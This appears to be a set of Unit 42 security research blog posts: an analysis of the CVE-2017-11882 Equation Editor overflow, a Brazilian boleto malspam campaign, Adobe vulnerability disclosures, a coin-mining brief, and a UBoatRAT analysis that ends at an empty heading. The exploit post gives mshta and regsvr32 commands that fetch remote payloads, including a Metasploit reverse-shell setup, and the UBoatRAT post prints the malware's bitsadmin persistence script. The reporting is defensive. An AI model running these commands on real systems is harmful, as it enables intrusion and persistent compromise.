Analysis of CVE-2017-11882 Exploit in the Wild

Posted on by Yanhui Jia

Recently, Palo Alto Networks Unit 42 vulnerability researchers captured multiple instances of traffic in the wild exploiting CVE-2017-11882, patched by Microsoft on November 14, 2017 as part of the monthly security update process. Exploits for this vulnerability have been released for Metasploit, and multiple security researchers have published articles on specific attacks taking advantage of this vulnerability. In this article, we describe the vulnerability and discuss mechanisms for exploiting it.
 
About CVE-2017-11882:
Microsoft Equation Editor, which is a Microsoft Office component, contains a stack buffer overflow vulnerability that enables remote code execution on a vulnerable system. The component was compiled on November 9, 2000, over 17 years ago. Without any further recompilation, it was used in all currently upported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by eqnedt32.exe, meaning it runs as it’s own process and can accept commands from other processes.
Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) should protect against such attacks. However, because of the manner in which eqnedt32.exe was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to eqnedt32.exe, unless applied system-wide.  This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker command.

Analysis of Exploit Proof of Concept:
The POC RTF sample we analyze in this section has the following attributes:

SHA256 02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453

and is available on GitHub. Through analysis of the file contents, we can see the object class is Equation.3, which means it is an OLE equation object:
1-rtf-hexdump

Figure 1 RTF File Contents Showing Class Equation.3

 
After extracting the object, we can skip OLE, CompObj and ObjInfo streams, and go directly to Equation Native stream:
2-ole-hex-dump

Figure 2 File Contents showing various Streams

 
The stream has a header with following structure:

Real Image 4

 
After that we can see the MTEF data, which contains a MTEF header and multiple records. MTEF is a binary equation format used by the equation editor. The header has the general information about the MTEF data:

Description Size (byte) Value Comment
MTEF Version 1 0x3 MTEFv3
Generating Platform 1 0x1 Windows
Generating Product 1 0x1 Equation Editor
Product Version 1 0x3
Product Subversion 1 0xa

Table 1METF header

 
Following the header are some MTEF records. The malicious record that triggers the vulnerability is Font record, which in the sample has the below structure:

Description Size (byte) Value Comment
Tag 1 0x8 0x8 denotes Font record
Typeface Number 1 0x5a
Style 1 0x5a
Font Name Variable, NULL terminated “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 Overflow and overwrite return address

Table 2 Font record

The long font name overflows and causes the code execution. Putting it in the debugger to take a deeper look show us this:3-ida

Figure 3 IDA View of the Sample

The vulnerability occurs when EQNEDT32.EXE tries to copy the font name into a locally created buffer. The buffer is only 40 (0x28) bytes, however if the font name is longer than 40 bytes (in this case 48 bytes), the buffer will overflow and EBP as well as the return address will be overwritten. When the function is done executing, the control flow will be taken to the attacker assigned address.

4-od-before-font-name

Figure 4 Before Font Name Copy

5-od-after-font-name

Figure 5 After Font Name Copy

In this case, the function will return “back” to 0x430c12, which is the address of WinExec, and the argument is the “font name”, also an attacker supplied input:6-od-code-execution

Figure 6 Debugger View of Returning to WinExec

Then we can see the Windows calculator (calc.exe) opening:7-od-calculator

Figure 7 Calc.exe Displayed when the Exploit Completes


Exploit Method Analysis

Next, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, 636d642e657865202f632063616c632e65786520, are used for the following command: cmd.exe /c calc.exe 

When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.

8-od

Figure 8 IDA View of code copying overflow buffer into v4

The size of an array that the attacker can overflow is 36 bytes (overflow_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?

One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the mshta executable to run VBscript code from a remote server, as is only 37 characters long (ignoring the de-fanging brackets.)

mshta http://192.168.56[.]102/test.html

Below is code the attacker could host on that server, which would accomplish the same goal of executing the windows, but could do much more.

A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell. In the screenshot below, Metasploit is being configured to host a remote shell on the server 192.168.56.103.

9-od

Figure 9 Running the Metasploit server

 

The command we need to insert into our exploit is just 40 bytes long:
mshta.exe http://192.168.56[.]103:8080/abc
When the victim opens the vile, the Metasploit server delivers the reverse shell and gives the attacker control over the host (see below.)

 

10-od

Figure 10 Metasploit Delivering Payload to Exploited Host


Exploit Samples in the Wild

Since November 20th, we have identified thousands of attempted attacks which exploit this vulnerability in AutoFocus. Most of these use the techniques described above, either by calling cmd.exe directly or by using mshta.exe or cscript.exe to execute a remote script from an attacker controlled server. The table below shows examples of the most common techniques.

Command Parameters Description Example
cmd.exe malicious file
IP + remote malicious file		 cmd.exe to call local malicious file
cmd.exe to call remote malicious file		 cmd.exe /c calc.exe
cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe
cscript.exe script language + script cscript.exe to call malicious file cscript.exe //E:jscript \\\\xxd.cc\\bwou.png
mshta.exe IP + remote malicious file mshta.exe to call remote malicious file mshta.exe http://104.254.99[.]77/x.txt
mshta https://seliodrones[.]info/otr/otr.hta
regsvr32.exe Installation Flags and remote malicious DLL regsvr32.exe to call remote malicious DLL regsvr32 /i:http[:]//1997106195 scrobj.dll &AA
C

One example of an attack in the wild includes this sample:

SHA256 7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551

This sample was distributed as a fake invoice document attachment in email to organizations in Europe. After the user opened the document it executed the following command:

mshta.exe , mshta https://zilk[.]pw/url/index.hta

The code was hosted (and is no longer available) at this location executed a PowerShell script which in turn would download and executes a file from: hxxps://zilk[.]pw/url/smstrace.exe. This file is a sample of the information stealing Trojan FormBook.
Despite the size limitations on the overflow buffer, many attackers have found ways to exploit this vulnerability to achieve their goals.

Conclusion and Mitigation:
CVE-2017-11882 is in the wild and will likely continue to be exploited for years to come. To remediate this issue, administrators should deploy Microsoft’s patch for this vulnerability, available here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .
Those who can’t deploy the patch should consider disabling the Equation Editor as discussed in Microsoft Knowledge Base Article 4055535.
Palo Alto Networks customers are protected from this vulnerability in the following ways:

  • Threat Prevention Signature 36804 identifies files containing the exploit code in the Next Generation Firewall
  • WildFire and Traps identify files exploiting this vulnerability as malicious


Suspicious URLs used by Exploit Samples
smb[:]//185.175.208.10/s/r.exe
smb[:]//185.175.208.10/s/p.exe
http[:]//78.46.152.143\\webdav
http[:]//138.68.144.82
http[:]//103.59.95.105/test
http[:]//104.254.99.77/x.txt
http[:]//112.213.118.108[:]11882/a
http[:]//112.213.118.108[:]11882/
http[:]//138.68.144.82/w/trx.hta
http[:]//185.200.116.171[:]80/1
http[:]//203.128.247.165/a.hta
http[:]//212.83.61.198/read.txt
http[:]//43.242.35.13/ofc.hta
http[:]//45.32.169.233[:]80/test
http[:]//45.77.122.135[:]80/a.hta
http[:]//67.218.155.0/1.hta
http[:]//141.255.149.141[:]8080/e8eb2bWlyg.sct
http[:]//bit.ly/2zaevrt
https[:]//zilk.pw/url/index.hta
https[:]//zilk.pw/url/smstrace.exe
http[:]//tinyurl.com/y9m5opxz
http[:]//vulns.sg/RickAstley.hta
http[:]//a1-transport.eu/rFIB.hta
http[:]//malo.com/bicho
http[:]//nobles-iq.com/xpct/yxxM.hta
http[:]//pelli.mzf.cz/gt.hta
http[:]//sldkj.com/a
https[:]//pastebin.com/raw/1CWyVtXs
https[:]//pastebin.com/raw/PqUXNZbB
https[:]//seliodrones.info/otr/otr.hta
http[:]//suo.im/2boSoQ
http[:]//tinyurl.com/err43ery33
http[:]//totonam.com/js/zd.hta
http[:]//www.lucien116.com/abc
http[:]//facebookcoc.sytes.net[:]8080/xp8jdXNo.sct

Master Channel: The Boleto Mestre Campaign Targets Brazil

Posted on by Brad Duncan

vlogMalicious spam (malspam) often uses malware attachments or links to malware disguised as legitimate documents. In Brazil-based malspam, such malware often impersonates a document called "boleto." Boleto is an invoice document for Boleto Bancário, a Brazilian payment method commonly used in e-commerce.
We occasionally run across malspam with fake boleto attachments, and these generally target Brazilian organizations. In one such campaign, we've seen over 260,000 emails since June 2017 as shown in figure 1.
Boleto_1

Figure 1. Results from an AutoFocus search for malspam from the Boleto Mestre campaign.

 
Figure 2 shows an example. In this image, a link in the email will return malware disguised as a boleto document. The red text below is the imbedded URL.
Boleto_2

Figure 2. Screenshot of an email from this campaign.

 
Like other malspam, this campaign is designed to infect Windows computers with an information stealing Trojan. But what makes this boleto-themed malspam campaign unique?
Windows hosts infected by this campaign generate plain text Internet Relay Chat (IRC) traffic. All infected hosts join the #MESTRE channel. In Portuguese (the official language of Brazil), "mestre" roughly translates to "master" or "teacher" in English. This sort of IRC traffic is fairly unique for current Brazil-based malspam, so we are calling this the Boleto Mestre campaign.

Infection Characteristics
In a posting on my malware-traffic-analysis.net blog, I first documented characteristics of a Windows host infected from the Boleto Mestre campaign in the summer of 2016:

  • PowerShell, PSexec, and other legitimate binaries (.exe and .dll files) utilized by malicious Visual Basic Script (VBS) files.
  • Base64 encoded strings representing VBS saved in the Windows registry.
  • A scheduled task for the infection to stay persistent.
  • Post-infection activity that includes clear text IRC traffic over TCP port 443 to a domain with an "ssl." Prefix. Infected hosts join the #MESTRE channel.

What is the chain of events for an infection?

Step 1: The victim clicks a link from the email or attached PDF file, which returns a VBS file.

Step 2: The victim double-clicks on the VBS file.

Step 3: This causes more files to be downloaded to the infected Windows host.

Step 4: Initial check-in traffic with www.petr4[.]in.

Step 5: The infected host starts communicating through IRC to its new controller.

Boleto_3

Figure 3. Chain of events for a Boleto Mestre malspam infection in November 2017.

 
PDFs for Redundancy
Prior to June 16th, 2017 Boleto Mestre malspam had links in the email message text to a VBS file posted elsewhere.  However, since June 16th, these malicious emails have also included PDF attachments as well as the links, providing redundancy to the attack.
The PDF attachments have no exploits. These PDF files merely include a link as shown in Figure 4. Like the link in the email text, this URL returns a VBS file. URLs in the PDF attachments are different than URLs within the email's message text.  However, both URLs redirect to a new URL that returns the same VBS file. This is likely a redundancy scheme to increase chances that a potential victim will download the initial VBS file.
Boleto_4

Figure 4. Opening the PDF file and viewing the link.

 
PDF attachment names start with six digits that roughly align to the date the PDF file was last modified by the criminals behind this campaign. The only change appears to be the link in the PDF to download the initial VBS file. These PDF files have been renamed at least six times since June 2017, so we can infer the PDF files have been modified at least six times since then.
Boleto_5

Figure 5. PDF attachment file name breakdown.

 
Brazil or Bust
Clicking the link in the message text or clicking the link in the PDF attachment downloads the same VBS file. In this case, the email and PDF links both redirected to a URL on sendspace[.]com. Sendspace is legitimate service that allows people to share files over the web. Criminals behind Boleto Mestre have used other file-sharing services like Google Drive and 4shared[.]com, but they tend to stick with Sendspace.
The URL from the email or PDF attachment is location-specific. Servers hosting the malware do not return anything unless the victim comes from a Brazil IP address. Once we viewed the URL from a Brazil IP address, it redirected to a Sendspace URL, and we got our VBS file.
Boleto_6

Figure 6. If we did not view the webpage from Brazil, we got a 404 not found error.

Boleto_7

Figure 7. Coming from a Brazil IP address, we got the initial VBS file.

 
The VBS file was somewhat obfuscated, and it roughly followed the same naming scheme as the PDF attachment. The file name started with 06112017, which matched the date we downloaded the file on November 6, 2017.
Boleto_8

Figure 8. The downloaded VBS file.

 
Infection Traffic
On Monday, November 6th, 2017, we infected a computer running Windows 7 SP 1 (host name MONTICELLO-PC) with admin user account thomas.jefferson. Except for the Sendspace URLs, all infection traffic was unencrypted.
Boleto_9

Figure 9. Traffic from the infection filtered in Wireshark.

 
After we downloaded the VBS file from Sendspace and double-clicked it, the script downloaded four items from 65.181.113[.]87. After the infection was finished, the Windows host checked in to an initial controller at www.petr4[.]in.  It reported its host name, user account name, and IRC identification data to be used by an IRC controller at ssl.cheddarmcmelt[.]top.
The infected Windows host then switched to the IRC controller at ssl.cheddarmcmelt[.]top, where it was one of several hosts that appeared in command and control (C2) traffic through plain-text IRC.
Boleto_10

Figure 10: C2 traffic over IRC from the infected Windows host, MONTICELLO-PC.


Forensics on an Infected Host
What does an infected Windows host look like? We found several artifacts were on our infected Windows host in various directories. Many of these artifacts are not inherently malicious on their own. The downloaded executables and DLL files were all legitimate binaries. Figures 11 through 14 show some of the artifacts we found on an infected host running Windows 7 SP1.
Boleto_11

Figure 11. Artifacts found in an infected user's AppData\Local\Temp\Java directory.

Boleto_12

Figure 12. Artifacts found in an infected host's C:\Windows\System32\Java directory.

Boleto_13

Figure 13.  Artifacts found in an infected host's C:\Windows\System32 directory.

 
Boleto_14

Figure 14. Downloaded DLL and EXE files are legitimate executables.

 
The infection was kept persistent through a scheduled task. The task pointed to a VBS file. The VBS file read a Windows registry key value that executed SYSMONTICELLOPC60.exe which is actually a copy of PowerShell.exe, a legitimate system administrator tool used for this infection.
Boleto_15

Figure 15. Scheduled task to keep the infection persistent.

Boleto_16

Figure 16. Contents of the VBS script runs a value in the Windows Registry.

Boleto_17

Figure 17. Windows registry value points to a renamed PowerShell.exe file.

Other entries in the Windows registry had VBSscript code, or they had Base64 strings representing VBSscript code that assisted in the infection.  In Figure 18, the HKCU\Software hive contains a key named SYSMONTICELLOPC with an entry named SYS that contains a Base64 string in the data.  That Base64 string decodes to VBScript used for the infection.  Figure 19 shows another registry key with an entry containing more base64 text that decodes to VBScript.
Boleto_18

Figure 18.  Windows registry entry for HKCU\Software\SYSMONTICELLOPC.

Boleto_19

Figure 19. Windows registry entry for HKCU\Software\SYSMONTICELLOPC60.

Conclusion
This campaign's combination of Windows registry values, VBS files, and legitimate binaries provides an effective evasion technique. Prior to publishing this blog post, we were able to infect a default-configured Windows 10 host with up-to-date virus definitions in Windows Defender just by clicking a link in one of the PDF attachments and double-clicking the downloaded VBS file.
But, Palo Alto Networks customers are protected from this threat. All identified samples have been flagged as malicious within the Palo Alto Networks next-generation security platform. C2 domains used by the attackers are blocked via Threat Prevention. And AutoFocus users can track the PDF attachments described in this report using the BoletoMestre tag.
See the section below for domains, URLs, file names, hashes, and other related information from our November 2017 lab infection.
 
Indicators
Email senders used by the Boleto Mestre campaign since June 2017:

  • sender@globalcobranca[.]ltda
  • sender@grupoaria[.]ltda
  • sender@grupoaxecapital[.]pw
  • sender@grupofreitas[.]ltda
  • sender@gruporecovery[.]ltda
  • sender@gruporecovery[.]xyz
  • sender@gruposafe[.]ltda
  • sender@grupounique[.]ltda

 
Subject lines used by the Boleto Mestre campaign since June 2017:

  • Envio de Boleto - URGENTE - AXECAPITAL
  • Envio de Boleto - URGENTE - GLOBAL
  • Envio de Boleto - URGENTE - GRUPO ARIA
  • Envio de Boleto - URGENTE - GRUPO FREITAS
  • Envio de Boleto - URGENTE - GRUPO SAFE
  • Envio de Boleto - URGENTE - GRUPO UNIQUE
  • Envio de Boleto - URGENTE - RECOVERY

 
Attachment names used by the Boleto Mestre campaign since June 2017:

  • 16062017329800998812303133716062017.pdf
  • 190620170009812311122239383108481110.pdf
  • 20072017008184910142830132981348292017.pdf
  • 010820170003375296186050723708.pdf
  • 1508201700016067882247230289631.pdf
  • 250920170000006734569912369086500998.pdf **
  • 0111201700000234567817737100891933281001.pdf  **
  • 1311201700000456789029983300094266915060.pdf **

** File names seen from this campaign as in November 2017.
 
IP addresses, domains, and URLs seen in November 2017:

  • 65.181.127[.]152 port 80 - unique.bx2dscvppabfcpssiewlvwnknp8ppnnp[.]top - Domain in link from one of the PDF attachments to download VBS file
  • port 443 - www.sendspace[.]com - GET /pro/dl/5qcesn - Sendspace URL for VBS file
  • 65.181.113[.]87 port 80 - 65.181.113[.]87 - GET /sshd/aw7.tiff
  • 65.181.113[.]87 port 80 - 65.181.113[.]87 - GET /sshd/W7.zip
  • 65.181.113[.]87 port 80 - 65.181.113[.]87 - GET /sshd/dll.dll
  • 65.181.113[.]87 port 80 - 65.181.113[.]87 - GET /sshd/dll.dll.exe
  • 65.181.113[.]87 port 80 - www.petr4[.]in - GET /avs/logs/index.php?[info about infected host]
  • 65.181.113[.]87 port 80 - www.petr4[.]in - GET /lol/index.php?[IRC info for infected host]
  • 65.181.113[.]87 port 443 - ssl.cheddarmcmelt[.]top - clear text IRC traffic


Locations of artifacts found on the infected host:

  • C:\Users\[username]\AppData\Local\Temp\ps.exe
  • C:\Users\[username]\AppData\Local\Temp\Java\[random numbers]\[random characters].vbs
  • C:\Users\[username]\AppData\Local\Temp\Java\[hostname].aes
  • C:\Users\[username]\AppData\Local\Temp\Java\[hostname].zip
  • C:\Users\[username]\AppData\Local\Temp\Java\dll.dll.exe
  • C:\Users\[username]\AppData\Local\Temp\Java\Ionic.Zip.Reduced.dll
  • C:\Windows\System32\c.cer
  • C:\Windows\System32\crov.exe
  • C:\Windows\System32\[random characters].vbs
  • C:\Windows\System32\[hostname]ocx
  • C:\Windows\system32\SYS[hostname]exe
  • C:\Windows\System32\Java\[hostname].aes
  • C:\Windows\System32\Java\[hostname].zip
  • C:\Windows\System32\Java\Ionic.Zip.Reduced.dll
  • C:\Windows\System32\Tasks\SYS[hostname]60

 
Windows registry entries on the infected Windows host:

  • HKCU\Software\SYS[hostname]\SYS
  • HKCU\Software\SYS[hostname]\SYS[hostname]
  • HKCU\Software\SYS[hostname]60\PSYS[hostname]60
  • HKCU\System\SYS[hostname]60\SYS[hostname]60\cache
  • HKCU\System\SYS[hostname]60\SYS[hostname]60\control
  • HKCU\System\SYS[hostname]60\SYS[hostname]60\SYS[hostname]60

 
File hashes associated with the November 2017 infection:
SHA256 hash: 3b9944bbb3d1e088c03882d2d5cde19bcd2ac4059aa5d002d9165674a1617fea

  • File name: 250920170000006734569912369086500998.pdf

SHA256 hash: 589215c1ed39d3104cf40dc344441cfa1b5bbbe4c28c89780d8f824fb61a2e00

  • File name: 0611201700000234567817737100891933281001.vbs

Palo Alto Networks Unit 42 Vulnerability Research November 2017 Disclosures - Adobe

Posted on by Unit 42

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered seven vulnerabilities addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their November 2017 security update release.

CVE Vulnerability Name Affected Products Maximum Severity Rating Impact Researcher(s)
CVE-2017-16388 Use after free Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16389 Use after free Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16390 Use after free Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16393 Use after free Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16398 Use after free Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16414 Out-of-bounds read Adobe Acrobat Critical Remote Code Execution Gal De Leon
CVE-2017-16420 Out-of-bounds read Adobe Acrobat Critical Remote Code Execution Gal De Leon

Palo Alto Networks customers who deploy our Next-Generation Security Platform are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps multi-layered exploit prevention capabilities. Threat prevention capabilities such as application control, IPS, and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.
Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

Threat Brief: Unauthorized Coin Mining – A New Threat Facing Shoppers and Retailers This Holiday Season

Posted on by Unit 42

Overview

As shoppers and retailers gear up for the 2017 holiday season, they need to be aware of a new kind of cybersecurity threat they may face this year: unauthorized coin mining.

Unauthorized coin mining is a new threat that can affect retailers and shoppers in a way that could impact or even halt their online shopping experience. A recent Unit 42 threat intelligence posting on the topic showed how 63 percent of the unauthorized coin mining sites we found came online in October 2017.

unauthroized coin 1

This surge in unauthorized coin mining is driven, in large part, by the recent skyrocketing in the value of digital currencies like bitcoin. As that trend shows no sign of slowing down anytime soon, we can expect this to remain a very lucrative avenue for attackers.

Unlike other cybersecurity threats we’re used to bracing for around the holiday season, unauthorized coin mining attacks can affect shoppers who are up-to-date with security patches and even some running some security protections. And unlike spam or phishing, these attacks also don’t require any lapse in vigilance by the user: they can happen simply by going to websites users know and trust.

The good news for retailers is that these attacks are wholly preventable. And for shoppers, the impact of a successful attack is minimal: there are no lasting effects or impact, making it an annoyance at worst.

But because of the potential impact on holiday shopping and the ease of attacks, unauthorized coin mining is an attack that retailers need to be aware of and take active steps for prevention this holiday season.


What Is Unauthorized Coin Mining?

The best way to understand the threat of unauthorized coin mining is to first understand its impact. Unauthorized coin mining is an attack that can cause a user’s system to suddenly and unexpectedly slow down, sometimes significantly, when visiting a website. In a worst case, the slow-down can be so severe that it can make a website basically unusable.

Obviously, this impact is potentially dire for shoppers and retailers as it directly impacts and harms the online shopping experience. What causes this impact is when the website the user visits is running “coin miner” code.

“Coin miner” code is code used to “mine” for digital currency like bitcoin. Mining provides the computing necessary to power the digital currency’s infrastructure. Mining is also a computationally intensive process, meaning it takes a lot of system resources. Because of this, people can earn digital currency credit in exchange for the use of their computing resources to power that digital currency’s infrastructure.

There are many kinds of coin mining software. In this case, we are concerned about coin mining code that’s used on websites. When the user visits the website, the code runs on their system and “mines” on behalf of others – either the website or someone else.

When this is done with the visitor’s full knowledge and consent, it’s a fair and reasonable exchange. For instance, there are some websites that now use coin mining as an alternative to digital advertising to generate revenue. In these cases, the coin mining is authorized; the website informs the user that, while on the site, his or her computing resources will be used to “mine” digital currency, and the site will receive the credits. While the user will experience a slow-down as the coin mining software is run, it is (or should be) expected, because of the notification, and so done with the site visitor’s consent.

Where this becomes a problem is when coin mining is done without the user’s knowledge and consent. In this case the coin mining is unauthorized: in essence, it’s an attack against the user’s resources.


How Do Unauthorized Coin Mining Attacks Happen?

Unauthorized coin mining attacks happen very simply: the website the user is visiting has special code on it that performs coin mining operations on the visitor’s computer while they’re on the website. And, as noted before, this happens without the user’s knowledge or consent.

Because these attacks happen due to code on the website, that code is either there with the site owner’s knowledge and permission or not.

When unauthorized coin mining happens with the site owner’s knowledge and permission, it’s basically a malicious site. That site’s owner is the attacker. When we’re talking about online shopping, clearly there’s no threat here to the retailer: they’re the ones doing the attacking. And for the shopper, it means you’re on an untrustworthy site and so open to all manner of risks beyond just unauthorized coin mining.

The real, significant situation shoppers and retailers need to think about this season is when unauthorized coin mining code is on a site without that site owner’s knowledge and permission. Here the site itself has been attacked, and the site owners are also victims. This is an attack against not just shoppers but the retailers operating online shopping sites.

 

How You Can Prevent Unauthorized Coin Mining Attacks

If you’re a shopper, there are three things you can do to protect yourself against unauthorized coin mining attacks this holiday season:

  1. Ensure you’re only shopping online at websites you know and trust.
  2. Run security on your systems that includes protection against malicious websites and scripts.
  3. If you think you’re experiencing an unauthorized coin mining attack, close your web browser. That’s all you need to do to end the attack; once you do, the attack is over and there’s no lasting impact.

If you’re a retailer, preventing unauthorized coin mining attacks comes down to focusing on two tasks, both of which you should be doing anyway:

  1. Make sure your website is properly secured to prevent unauthorized uploads and changes to the site code.
  2. Ensure that, as part of your overall site, you use only trusted third-party sites that themselves provide adequate security to prevent unauthorized uploads and changes to their site code. This includes third-party sites like advertisers and payment processors.

Finally, if you’re a legitimate website that has chosen to implement coin mining to raise funds from your visitors, you can ensure that your visitors don’t think you’re engaged in unauthorized coin mining by doing three things:

  1. Provide prominent notice to visitors that your site uses coin mining.
  2. Provide an explanation to help visitors understand clearly what coin mining is, what they can expect the impact to be on them, and what they can do if they don’t want their system to perform coin mining for you.
  3. Configure your coin mining code to utilize visitors’ resources sparingly and respectfully. If they don’t notice a significant impact they will be less likely to view the activity as malicious and so more likely to help you out.


Conclusion

Working to prevent cybercrime threats during the holiday season has become a standard part of what shoppers and retailers do every year. This year, for the first time in many years, shoppers and retailers are facing a new threat, unauthorized coin mining, driven by the surge in digital currency prices.

While this threat can have a clear, negative impact on retailers and shoppers, the good news is that this threat is easily preventable and poses no lasting harm to consumers.

This is a case where forewarned is forearmed, and that forearming can result in effective prevention.

UBoatRAT Navigates East Asia

Posted on by Kaoru Hayashi

Executive Summary
Palo Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics.

  • Targets personnel or organizations related to South Korea or video games industry
  • Distributes malware through Google Drive
  • Obtains C2 address from GitHub
  • Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.

Targets
We don't know the exact targets at the time of this writing. However, we theorize the targets are personnel or organizations related to Korea or the video games industry. One of the reasons for the hypothesis is the file names used by the attacker when delivering the malware. We see Korean-language game titles, Korea-based game company names and some words used in the video games business on the list. Another reason is that UBoatRAT performs malicious activities on the compromised machine only when joining an Active Directory Domain. Most home user systems are not part of a domain, and as such would not be impacted the same way. Below are some of the file names associated with UBoatRAT deliveries. The first three file names are written in Korean and only includes the general business topics. Last one contains unreleased game title, “Project W’ and the Korean-based video game company’s name.

  • 2017년 연봉인상 문의 사항관련 피드백 조사.exe (2017 annual salary raise inquiry related feedback survey)
  • 2017년 연봉인상 문의 사항관련 피드백 전달.exe (2017 annual salary raise feedback)
  • [사업]roykim's_resumeexe ([Business]RyoKim's__resume__20170629.exe)
  • [Project W]Gravity business cooperation.exe

Delivery and Installation

We observed multiple variants of UBoatRAT delivered from Google Drive. Not all of the links were active at the time of our analysis, but some (including the one below) were.Uboat_1

Figure 1 Download from Google Drive

The zip archive hosted on Google Drive contains the malicious executable file disguised as a folder or a Microsoft Excel spread sheet. The latest variants of the UBoatRAT released in late July or later masquerade as Microsoft Word document files.

Uboat_2

Figure 2 Examples of UBoatRAT Masquerading

When executed, the UBoatRAT checks for the following two conditions on the compromised machine.

  • Detecting virtualization software such as VMWare, VirtualBox or QEmu.
  • Obtaining Domain Name from network parameters

If the RAT detects virtual environment or fails to get the domain name, it displays following fake error message and quits.
Uboat_3

Figure 3 Fake error message

Otherwise, UBoatRAT copies itself as C:\programdata\svchost.exe, creates C:\programdata\init.bat and executes the bat file. Then displays the following message and quits.
Uboat_4

Figure 4 Fake Error Message after installation

Persistence with BITS
UBoatRAT achieves persistence by using Microsoft Windows Background Intelligent Transfer Service(BITS). BITS is a service for transferring files between machines. Though the most famous application using the service is Windows Update, other applications or users can take advantage of the component. Bitsadmin.exe is a command-line tool user can create and monitor BITS jobs. The tool provides the option, /SetNotifyCmdLine which executes a program when the job finishes transferring data or is in error. UBoatRAT takes advantage of the option to ensure it stays running on a system, even after a reboot.
The following is the contents of the init.bat. At the second line, the local file net.exe is specified to transfer to %temp%.log. After completing the copying the local file, BITS executes the UBoatRAT file configured with /SetNotifyCmdLine at the third line.
bitsadmin /create d1f2g34
bitsadmin /addfile d1f2g34 c:\windows\system32\net.exe  %temp%\sys.log
bitsadmin /SetNotifyCmdLine d1f2g34 "c:\programdata\svchost.exe" ""
bitsadmin /Resume d1f2g34
Del %0
The BITS job keeps executing the malware periodically even if the computer reboots. To remove the job from the queue, BITS needs to call Complete or Cancel explicitly. According to the article from Microsoft, the job remains 90 days by default if you don't call Complete or Cancel.
 
C2 communication and backdoor commands

The attacker behind the UBoatRAT hides the C2 address and the destination port in a file hosted on Github, using a URL like the following:

https://raw.githubusercontent[.]com/r1ng/news/master/README.md
The malware accesses the URL and decodes the characters between the string “[Rudeltaktik]” and character “!” using BASE64. "Rudeltaktik" is the German military term which describes the strategy of the submarine warfare during the World War II.
In the case below, the string can be decoded to 115.68.49[.]179:80.
[Rudeltaktik]MTE1LjY4LjQ5LjE3OTo4MA==!
UBoatRAT uses a custom command and control protocol to communicate with the attacker’s server.  The malware places the string '488' (0x34, 0x38, 0x38 in HEX) at the top of the payload or instruction and encrypts the entire buffer with the static key 0x88 by using simple XOR cipher. Then the network payload always starts with 0xBC, 0xB0, 0xB0.
Uboat_5

Figure 5 '488' marker

Uboat_6

Figure 6 Encrypted '488' marker by static key

We assume the attacker picks '488' from one of the German submarines because the author calls the RAT UBoat-Server.
Uboat_7

Figure 7 UBoat_Server in the malware

After establishing a covert channel with C2, the threat waits following backdoor commands from the attacker.

Command Description
alive Checks if whether the RAT is alive
online Keeps the RAT online by sending the packets to C2 periodically
upfile Uploads file to compromised machine
downfile Downloads file from compromised machine
exec Executes process with UAC Bypass using Eventvwr.exe and Registry Hijacking
start Starts CMD shell
curl Downloads file from specified URL
pslist Lists running processes
pskill Terminates specified process


Development of UBoatRAT
At the time of this writing, we have identified fourteen samples of UBoatRAT and one downloader associated with the attacks. Most of UBoatRAT samples retrieve C2 address from GitHub as described above. Only one sample released in May connected to public blog service in Hong Kong and compromised legitimate web server in Japan as C2. The sample uses regular HTTP protocol for communication. The account for the blog, 'elsa_kr' has existed since April 2016 and has no meaningful contents at this moment.
Uboat_8

Figure 8 Public Blog used as C2

The author released a new version employing various new features in June. The early version of this new version obtains a C2 address from the repository 'uuu' owned by the GitHub account 'elsa999'. At the time of this writing, the 'uuu' repository has been deleted. It has since been replaced by three other repositories ('uj', 'hhh' and 'enm') all hosting an encoded combination of IP address and port in the account. According to the file history, the author has frequently been updating these files since July. After performing a quick analysis, we concluded these three repositories are for development and testing purpose for following reasons.

  • They use the different marker '###NEWS###', instead of '[Rudeltaktik]'.
  • The encoded global IP addresses are different from known UBoatRAT samples.
  • The author always changes the encoded address back to localhost(127.0.0.1) in short period.

Uboat_9

Figure 9 GitHub account for testing

The 'elsa999' user also has the following three PowerShell scripts in their repositories. These scripts are written by other authors for penetration testing.

  • gpp_autologon.ps1
  • gpp_pwd.ps1
  • wmi_scan.ps1


Conclusion
